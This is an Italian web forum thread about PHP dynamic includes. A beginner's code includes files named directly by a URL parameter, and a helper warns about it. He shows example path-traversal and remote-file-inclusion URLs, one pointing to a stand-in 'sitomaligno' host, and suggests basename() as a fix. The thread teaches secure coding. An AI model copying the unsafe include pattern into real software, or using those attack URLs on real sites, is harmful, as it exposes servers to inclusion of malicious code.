Visualizzazione dei risultati da 1 a 6 su 6
  1. #1
    Utente di HTML.it
    Registrato dal
    Jan 2008
    Messaggi
    15

    Include dinamico [Help]

    Salve,
    nel mio sito sto creando degli include dinamici, ovvero che a tale comando della barra degli indirizzi (nomesito/index.php?link=prova.html) si inseriscono in una determinata cella di una tabella l'include desiderato! Il problema è solo uno per ora!!!
    Com'è strutturato il mio sito nella pagina principale in mezzo al sito ho una tabella dove ho un include statico dove inserisco le "news", nello stesso posto voglio che quando faccio questo percorso "nomesito/index.php?link=prova.html" al posto dell'include statico delle news mi compare e mi sostiuisce quell'include con quello dinamico. Come posso fare? Questo è il codice dell'include dinamico! Non sono espertissimo di PHP spero che qualcuno mi dia qualche buon consiglio!


    codice:
    <?php
    if (!$_GET['link']) { $link = "Testo"; }
    else { $link = $_GET['link']; }
    ?>
    codice:
      <? include("$link"); ?>

  2. #2
    Utente di HTML.it L'avatar di gianiaz
    Registrato dal
    May 2001
    Messaggi
    8,027
    il metodo è giusto ti da qualche errore?

    Comunque devi stare molto attento a come lo usi...

    Volendo potrei farti caricare degli indirizzi maligni.

    La prima cosa che ti consiglio di fare è questa:

    codice:
    if (!$_GET['link']) { $link = "Testo"; }
    else { $link = basename($_GET['link']); }



  3. #3
    Utente di HTML.it
    Registrato dal
    Jan 2008
    Messaggi
    15
    Nessun errore.
    L'unica cosa che se vado su (nomesito/index.php?link=prova.html) nella cella della tabella dove ho inserito il comando <? include("$link"); ?> giustamente mi compare l'nclude!
    Però in quella cella all'indirizzo (nomesito/index.php) ho un'altro include dove ho incluso le news del sito. Ecco io vorrei che quando faccio (nomesito/index.php?link=prova.html) quell'nclude sparsisca e ci sia solamente l'include <? include("$link"); ?>. Altrimenti ho e include insieme, news + include del link che in questo caso è il file prova.html!


    Come mai mi consigli basename?
    Facendo così non rischio niente da parte di terzi?

  4. #4
    Utente di HTML.it L'avatar di gianiaz
    Registrato dal
    May 2001
    Messaggi
    8,027
    perchè se non metti basename, puoi subire 2 attacchi diversi:

    1. Da un sito che sta in hosting nel tuo stesso server (che magari non è configurato in modo da restringere la lettura/scrittura di files che non sono nella sua doc root), e quindi riesce a richiamare un file php chiamando la tua pagina con:

    codice:
    nomesito/index.php?link=../../mia_doc_root/paginamaligna.php
    2. Puoi subire un include di un'altro sito

    codice:
    nomesito/index.php?link=http://www.sitomaligno/paginamaligna.php
    la quale magari contiene del codice javascript che può creare danni.

    basename restituisce solo il nome del file ripulendolo da eventuali percorsi sul server o riferimento a diversi host.

    Per quanto riguarda il tuo errore, prova :

    1. A usare basename($_GET['link']) al posto di basename($link);
    2. Apri i tag php con "<?php" e non con "<?"

    Al momento non mi viene in mente altro.

    ciao

  5. #5
    Utente di HTML.it
    Registrato dal
    Jan 2008
    Messaggi
    15
    Non la sapevo sta cosa del basename, ti ringrazio infinitivamente!
    Sto solo studiando adesso qualcosa in php

    Per il mio problema ho provato e non vedo risultati!

    Il mio codice riguardante quel pezzo della pagina principale del sito è questo.


    codice:
    <td width="567" height="128"><div align="center">
    		 
    <? include("include/bordo.php"); ?>
      <? include("$link"); ?>
      
    			     
            </div></td>


    Praticamente c'è quel include bordo, dove ho in quel file un tool per fare le news!
    Essendo che è statico quando faccio nomesito/index.php?link=prova.html mi comprare il secondo include. Però io vorrei che a quel punto l'altro include del bordo sparisca. Penso devo dire qualcosa in più al mio codice in php se voglio fare questo o sbaglio?
    Del tipo magari che se è su pagina index.php compare tale include e in qualsiasi altro link, tipo ?link=prova.html sparisca! Così in questo caso mi compare quello dinamico e il gioco sarebbe fatto! Visto che io l'include del bordo su ?link=prova.html non lo voglio!

  6. #6
    Utente di HTML.it
    Registrato dal
    Jan 2008
    Messaggi
    15
    Ho quasi risolto!
    Ho fatto così ora!

    codice:
      <?php
       if (isset ($_GET['page']) && $_GET['page']!=''){ 
        $page = basename($_GET['page']).".html"; 
        include ($page);
      } else {
        include ('include/bordo.php');
      }
    ?>
    Funziona tutto bene, soltanto che quando faccio nomesito.it/index.php?page=prova funziona, avrei preferito mettere anche l'estensione della pagina! Sai come fare?

    Poi altra cosa se sbaglio link, esempio: nomesito.it/index.php?page=pro ...la pagina pro non esiste mi mette una pagina bianca, io vorrei che tornasse in questo caso o un messaggio che la pagina non esiste o che ritorni alla pagina bordo.php. Consigli?

    Ultima cosa, il codice così è sicuro?

    Grazie e spero mi risponderai

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.